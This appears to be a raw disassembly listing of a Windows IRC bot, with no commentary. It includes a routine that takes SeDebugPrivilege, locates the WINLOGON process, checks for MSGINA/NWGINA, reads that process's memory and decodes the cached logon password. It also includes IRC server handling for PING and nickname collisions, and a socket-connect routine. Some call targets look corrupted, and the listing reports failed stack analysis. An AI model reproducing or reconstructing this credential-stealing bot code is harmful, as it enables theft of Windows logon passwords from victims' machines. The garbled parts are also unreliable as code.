		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 7FA46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 7F8468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 0E8535959h, 22B923Ch, 5B5E5F90h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 0E868FFFFh
		dd 5600437Fh, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 9A8CBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 23395D2h,	75C08590h
		dd 0FC75FF8Fh, 9172E890h, 75FF0232h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	437FCCh
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 954CE856h, 85900233h, 56B175C0h, 3290EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_4381C0
		jmp	loc_417098
; ---------------------------------------------------------------------------


loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26A0000h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D449C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4490, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46A0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4498, eax
		call	esi
		mov	dword_4D4494, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D3490
		push	edi
		push	ebx
		push	offset off_4380FC
		call	esi
		push	edi
		mov	edi, offset dword_4D3C90
		push	edi
		push	offset off_4380E4
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D46A8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------


loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C


loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D46A8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438088
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------


loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------


loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9


loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_438050
		jmp	short loc_41706B
; ---------------------------------------------------------------------------


loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_438024


loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 2780000h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------


loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437FF0


loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h


loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D449C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D449C
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9


loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D4490
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46A0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1


loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D4498


loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175


loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi


loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, edi


loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207


loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D4498


loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------


loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26707D9h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------


loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27B0293h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------


loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27A0B3Eh
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB


loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D3490
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D3C90
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389


loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------


loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2750000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 2740814h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46B4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46AC, eax
		mov	dword_4D46B0, edi


loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2790000h
		mov	esi, [ebp+var_10]


loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 2650937h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx


loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26707D9h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27B0293h
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148


loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27A0B3Eh
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27B0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D3490
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D3C90
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515


loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 2790000h
		nop
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------


loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467


loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 2650937h


loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax


loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46AC, ebx
		mov	dword_4D46B0, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F


loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537


loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 2650937h
		nop
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46A8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 27A0000h
		mov	ecx, dword_4D46A8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D46B0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46B4
		push	eax
		call	dword_4D4494
		push	[ebp+var_4]
		mov	edi, offset dword_4D44A0
		push	offset dword_4D3490
		push	offset dword_4D3C90
		push	[ebp+arg_0]
		push	offset dword_43820C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46A8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	near ptr 27A0ADBh
		nop
		push	eax
		call	near ptr 27A0000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D3C90
		mov	edi, 200h
		mov	esi, offset dword_4D3290


loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D46A8
		add	eax, eax
		push	eax
		push	dword_4D46B0
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4494
		mov	eax, dword_4D46A8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4


loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0


loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694


loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0


loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1


loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D3490
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43820C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------


loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D3490
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_43825C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h


loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27A0ADBh
		push	eax
		call	near ptr 2790000h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB664
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5CC
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB6BC


loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------


loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi


loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A068 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D46BC
		pop	ecx


loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB674


loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DADDC
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D0F0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_438E70
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_438E6C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_438E60


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


